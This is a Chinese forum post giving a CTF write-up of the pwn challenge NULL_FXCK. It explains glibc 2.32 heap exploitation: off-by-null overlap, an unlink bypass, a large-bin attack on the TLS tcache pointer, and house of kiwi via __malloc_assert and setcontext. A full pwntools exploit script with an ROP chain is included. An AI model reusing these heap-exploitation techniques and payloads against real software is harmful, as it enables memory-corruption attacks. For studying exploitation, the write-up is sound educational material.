首页
社区
课程
招聘
[原创]从PWN题NULL_FXCK中学到的glibc知识
发表于: 2022-7-20 19:40 21117

[原创]从PWN题NULL_FXCK中学到的glibc知识

2022-7-20 19:40
21117

FMYY师傅为nectf2021出的这道题可谓非常折磨,但折磨过后,发现能够学到很多东西。这题的风水堪称一绝,然后涉及的利用也非常新颖——house of kiwi在一年前来说可以说非常新鲜了,在今天衍生出的emma也是高版本主流的打法(但都是fmyy师傅玩剩的东西了)。在学习的时候,网上的博客都没有那么细致的讲其中的一些细节,特别是风水,在此记录供自己回味和其它学习者参考

img

img

发现禁了execve,那就只能orw了

img

相信都开始研究这道题的各位师傅逆向都没有问题,就截一截ida里面比较重要的几个东西:

(1)add的截断:

img

虽然从bin中拿出chunk的指针没有被初始化,但是这个截断使得我们不能直接泄露libc和堆地址了

(2)free禁止了UAF(这个就没必要截了)

(3)edit只能执行一次并且存在off_by_null:

img

这里的思路其实有点公式化的味道,就和我们做数学题一样,都是通过题目给的条件来思考利用的手法

给了off_by_null就思考会用到堆块的合并导致的重叠。重叠带来的好处:

(1)通过切割堆块能使我们在合并的堆块内部任意地址写main_arena,这个任意地址可能是note数组的一个堆指针的fd,那么我们就可以泄露libc了

(2)合并的时候的unlink能使得我们在已知堆块的fd和bk上写一个堆地址,这样就可以弥补一开始的截断带来的不能泄露堆块,然后成功泄露出堆块了

为了达成思路(1)(2)的libc和heap的泄露,需要一个非常细致的堆的布局,首先说说几个可能遇到的问题:

(1)合并的时候对堆的fd和bk的检测:

free(P)的时候,如果P不是tcache或者fastbin大小的话,就会检测P的前一个堆块(低地址)和后一个堆块(高地址)的使用情况(即它们的后一个堆块的PREV_INSURE位),如果也是free,就会考虑合并。合并的时候,会检测除P外的另一个堆块的fd和bk指针:

上面的代码大致表示了unlink的过程

之前做过的unlink都是已知了堆地址,然后unlink环节将fd和bk全都设置为N自身,达到绕过检测的目的。

这题比较厉害的地方就是,在不知道堆地址的情况下实现的unlink:

(1)首先通过将堆块放入unsorted bin(下面简称ub)将一个堆块的fd和bk分别写上不同的堆地址:

先add(0~6)然后delet(0,3,5),堆的布局如下图:

img

发现堆块3就是一个bk和fd都有堆指针的堆块了,后续考虑一个堆块向上与3合并。那么我们就要先修改3的size,如何修改呢?

delet(2)导致2和3在ub里发生合并,重新申请一个大小大于2的堆块就能修改3的size了。我们直接将3的size设置的很大,使得3的next_chunk指向top_chunk,因为考虑新生成堆块7并且edit(6)进行off_by_null修改7的pre_size和size的PREV_INSURE,这样delet堆块7就能向上和3合并了

但我们发现,合并的时候会报错,这是因为我们没有绕过unlink里面的检查,也就是没有成功设置好5和0的fd和bk。
我们发现,切割2和3合并的堆块会有一个剩下的堆块我们记作L。L的地址和3离得很近,可能就是低两位不同。如果,3的低两位是'\x00',我们就通过将L和0放入unsorted bin 设置bk指针;把L和5放入large bin设置fd指针(放入ub的话取出的时候目标堆块的fd指针会变),在申请0和5的时候,触发add中的截断,就能够在fd或bk上设置好3的地址,绕过unlink的检查完成合并。

合并好后,我们就可以通过切割堆块,在4的fd指针上布局main_arena。不过一开始的main_arena应该是以'\x00'结尾的,还是不能泄露。通过add一个大堆块放入largebin就好了,这样show(4)就能够泄露libc了。

同时unlink也会使得0的bk指针为5,5的fd指针为0,show其中任何一个都能泄露堆块

发现这题中的exit被换成了_exit,而_exit是不会存在house of pig里面的那条链子的,它直接就是一个exit的系统调用然后程序就结束了,所以任何打exit的链子都不能直接拿来用。遇到这种问题,有的师傅就开辟了一条名为house of kiwi的链子。主要是打__malloc_assert断言,有一个位于_IO_file_jumps+0x60的稳定的跳转指针sync和稳定的rdx——_IO_helper_jumps,而且这两个地方在gdb里都是有符号表的(比banana好找多了2333):

img

那么我们通过两次任意地址写就行了?非也

因为还需要触发assert

如何触发assert?看看malloc.c的源码,ctrl f输入"assert"。发现有80多个。。。

这里介绍其中一种做法:

当top_chunk的大小不够分配时,则会进入sysmalloc中:

发现很多检测,我们注意到对topchunk的prev_inuse的检测,只要把topchunk的size位的prev_inuse置为0,申请一个比它大的堆块就可以触发了

我们发现,至少需要改三个地址,也就是执行三次任意地址写。从这道题的严苛条件,不能用tcache poison等简单手法。

我们都知道,malloc_init会在heapbase段开设一个内存用于管理tcache。而这个管理tcache的地址,是可以从heapbase被我们劫持到另一个地方的,这是因为实际寻找的时候,是找到TLS段的管理tcache的地址,只不过malloc_init函数预设成了heapbase+0x10而已(注意,是heapbase+0x10而不是heapbase),我们可以在gdb中找到这段区域:

img

通过largebin attack劫持这段为可控堆块,在上面布置任何我们想写的东西,malloc对应位置size大小就能够申请出来并且改写了(这里的偏移要调一调,不过也可以拿exp的模板直接来用,也就是)

通过改稳定的跳表sync为setcontext+61(因为setcontext会将[rdx+0xa0]设置为rsp,将[rdx+0xa8]设置为rip),将稳定的rdx _IO_helper_jumps设置为_IO_helper_jumps+0xa0为存orw链,+0xa8为ret指令,并改top_chunk的size,然后申请一个比它的size大的堆块触发assert就可get_shell了

这道题考察了高版本的off_by_null,large bin attack,house of kiwi , TLS attack。虽然很折磨,但是是不可否认的好题,能让第二次接触2.31以上版本的我学到不少东西,感谢FMYY师傅

 
 
 
 
 
 
 
 
 
 
 
 
记另一个堆块为N
fwd=N->fd;
bck=N->bk;
if(fwd->bk != N || bck->fd !=N) exit(-1);
fwd->bk=bck;
bck->fd=fwd;
记另一个堆块为N
fwd=N->fd;
bck=N->bk;
if(fwd->bk != N || bck->fd !=N) exit(-1);
fwd->bk=bck;
bck->fd=fwd;
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
......
assert ((old_top == initial_top (av) && old_size == 0) ||
        ((unsigned long) (old_size) >= MINSIZE &&
         prev_inuse (old_top) &&
         ((unsigned long) old_end & (pagesize - 1)) == 0));
......
......
assert ((old_top == initial_top (av) && old_size == 0) ||
        ((unsigned long) (old_size) >= MINSIZE &&
         prev_inuse (old_top) &&
         ((unsigned long) old_end & (pagesize - 1)) == 0));
......
 
 
 
 
from pwn import *
from hashlib import sha256
import base64
context.log_level='debug'
#context.arch = 'amd64'
context.arch = 'amd64'
context.os = 'linux'
def proof_of_work(sh):
    sh.recvuntil(" == ")
    cipher = sh.recvline().strip().decode("utf8")
    proof = mbruteforce(lambda x: sha256((x).encode()).hexdigest() ==  cipher, string.ascii_letters + string.digits, length=4, method='fixed')
    sh.sendlineafter("input your ????>", proof)
##r=remote("123.57.69.203",7010)
##r=process('./sp1',env={"LD_PRELODA":"./libc-2.27.so"})
 
##mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
 
def z():
    gdb.attach(r)
 
def cho(num):
    r.sendafter(">> ",str(num))
 
def add(size,content='\x00'):
    cho(1)
    r.sendlineafter("Size: ",str(size))
    r.sendafter("Content: ",content)
 
def edit(idx,con):
    cho(2)
    r.sendlineafter("Index: ",str(idx))
    r.sendafter("Content: ",con)
 
def show(idx):
    cho(4)
    r.sendlineafter("Index: ",str(idx))
 
def delet(idx):
    cho(3)
    r.sendlineafter("Index: ",str(idx))
 
def exp():
    global r
    global libc
    libc=ELF('./libc-2.32.so')
    r=process('./main')
 
    ##[+]: fengshui 2 leak
    add(0x418) #0
    add(0x1f8) #1
    add(0x428) #2
    add(0x438) #3
    add(0x208) #4
    add(0x428) #5
    add(0x208) #6
 
    delet(0)
    delet(3)
    delet(5)
    delet(2)
    ##z()
    add(0x440,0x428*'a'+p64(0xc91)) #0
 
    add(0x418) #3 0x2b0
    add(0x418) #2
    add(0x428) #5 0x370
    ##z()
    delet(3)
    delet(2)
    ##z()
    add(0x418,'a'*9) #2
    add(0x418) #3
    delet(3)
    delet(5)
    add(0x9f8) #3
    ##z()
    add(0x428,'a') #5
    edit(6,0x200*'a'+p64(0xc90)+'\x00')
    add(0x418) #7
    ##z()
    add(0x208) #8
    ##z()
    delet(3)
    add(0x430,flat(0,0,0,p64(0x421))) #3
    add(0x1600) #9
    ##z()
    show(4)
    libcbase=u64(r.recv(6).ljust(8,'\x00'))-0x1e4230
    log.success('libcbase:'+hex(libcbase))
    show(5)
    heap=u64(r.recv(6).ljust(8,'\x00'))-0x2b0
    log.success('heap:'+hex(heap))
 
    ##[+]: set libc func
    IO_file_jumps=0x1e54c0+libcbase
    IO_helper_jumps=0x1e48c0+libcbase
    setcontext=libcbase+libc.sym['setcontext']
    open_addr=libcbase+libc.sym['open']
    read_addr=libcbase+libc.sym['read']
    puts_addr=libcbase+libc.sym['puts']
    pop_rdi_ret=libcbase+0x2858f
    pop_rsi_ret=libcbase+0x2ac3f
    pop_rdx_pop_rbx_ret=libcbase+0x1597d6
    ret=libcbase+0x26699
    ##[+]: large bin attack to reset TLS
    ##z()
    ##edit(4,p64(libcbase+0x1e4230)+)
 
    ##[+]: orw
    target=heap+0x8e0
    flag_addr = heap + 0x8e0 + 0x100
    chain = flat(
    pop_rdi_ret , flag_addr , pop_rsi_ret , 0 , open_addr,
    pop_rdi_ret , 3 , pop_rsi_ret , flag_addr , pop_rdx_pop_rbx_ret , 0x100 , 0 , read_addr,
    pop_rdi_ret , flag_addr , puts_addr
    ).ljust(0x100,'\x00') + 'flag\x00'
 
    TLS=libcbase-0x2908
    add(0x1240,0x208*'a'+p64(0x431)+0x428*'a'+p64(0x211)+0x208*'a'+p64(0xa01))
    delet(0)
    add(0x440,chain)
    ##z()
    add(0x418) #11
    add(0x208) #12
    delet(5)
    delet(4)
    add(0x1240,0x208*'a'+p64(0x431)+p64(libcbase+0x1e3ff0)*2+p64(heap+0x1350)+p64(TLS-0x20))#4
    delet(11)
    ##z()
    add(0x500)
    ##z()
    add(0x410)
    delet(4)
    add(0x1240,0x208*'a'+p64(0x431)+p64(libcbase+0x1e3ff0)*2+p64(heap+0x1350)*2)
    pd='\x01'*0x70
    pd=pd.ljust(0xe8,'\x00')+p64(IO_file_jumps+0x60)
    pd=pd.ljust(0x168,'\x00')+p64(IO_helper_jumps+0xa0)+p64(heap+0x46f0)
    add(0x420,pd) #13
    add(0x100,p64(setcontext+61))
    add(0x200,p64(target)+p64(ret))
    add(0x210,p64(0)+p64(0x910))
    z()
    add(0x1000)
    ##z()
    r.recvuntil('flag')
    string=r.recvuntil('}')
    flag='flag'+string
    print(flag)
    show(5)
    r.interactive()
 
if __name__ == '__main__':
    exp()
 
    ##setcontext and orw
    ''''
    orw=p64(r4)+p64(2)+p64(r1)+p64(free_hook+0x28)+p64(syscall)
    orw+=p64(r4)+p64(0)+p64(r1)+p64(3)+p64(r2)+p64(mem)+p64(r3)+p64(0x20)+p64(0)+p64(syscall)
    orw+=p64(r4)+p64(1)+p64(r1)+p64(1)+p64(r2)+p64(mem)+p64(r3)+p64(0x20)+p64(0)+p64(syscall)
    orw+=p64(0xdeadbeef)
    pd=p64(gold_key)+p64(free_hook)
    pd=pd.ljust(0x20,'\x00')+p64(setcontext+61)+'./flag\x00'
    pd=pd.ljust(0xa0,'\x00')+p64(free_hook+0xb0)+orw
    r.sendafter(">>",pd)
    flag=r.recvline()
    '''
from pwn import *
from hashlib import sha256
import base64
context.log_level='debug'
#context.arch = 'amd64'
context.arch = 'amd64'
context.os = 'linux'
def proof_of_work(sh):
    sh.recvuntil(" == ")
    cipher = sh.recvline().strip().decode("utf8")
    proof = mbruteforce(lambda x: sha256((x).encode()).hexdigest() ==  cipher, string.ascii_letters + string.digits, length=4, method='fixed')
    sh.sendlineafter("input your ????>", proof)
##r=remote("123.57.69.203",7010)
##r=process('./sp1',env={"LD_PRELODA":"./libc-2.27.so"})
 
##mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
 
def z():
    gdb.attach(r)
 
def cho(num):
    r.sendafter(">> ",str(num))
 
def add(size,content='\x00'):
    cho(1)
    r.sendlineafter("Size: ",str(size))
    r.sendafter("Content: ",content)
 
def edit(idx,con):
    cho(2)
    r.sendlineafter("Index: ",str(idx))
    r.sendafter("Content: ",con)
 
def show(idx):
    cho(4)
    r.sendlineafter("Index: ",str(idx))
 
def delet(idx):
    cho(3)

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

最后于 2022-7-23 23:51 被Nameless_a编辑 ,原因:
上传的附件:
收藏
免费 6
支持
分享
打赏 + 150.00雪花
打赏次数 1 雪花 + 150.00
 
赞赏  Editor   +150.00 2022/08/01 恭喜您获得“雪花”奖励,安全圈有你而精彩!
最新回复 (3)
雪    币: 25
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
2
不过一开始的main_arena应该是以'\x00'结尾的,还是不能泄露。通过add一个大堆块放入largebin就好了,这样show(4)就能够泄露libc了。
 这里show函数使用write输出的,不用放入largebin直接show应该也没有问题吧
2022-8-14 16:57
0
雪    币: 6978
活跃值: (11174)
能力值: ( LV12,RANK:400 )
在线值:
发帖
回帖
粉丝
3

2022-8-14 19:27
0
雪    币: 6978
活跃值: (11174)
能力值: ( LV12,RANK:400 )
在线值:
发帖
回帖
粉丝
4
sailzwwb 不过一开始的main_arena应该是以'\x00'结尾的,还是不能泄露。通过add一个大堆块放入largebin就好了,这样show(4)就能够泄露libc了。 这里show函数使用write输 ...
这里的strlen函数是有'\x00'截断的
2022-8-14 19:28
0
游客
登录 | 注册 方可回帖
返回
//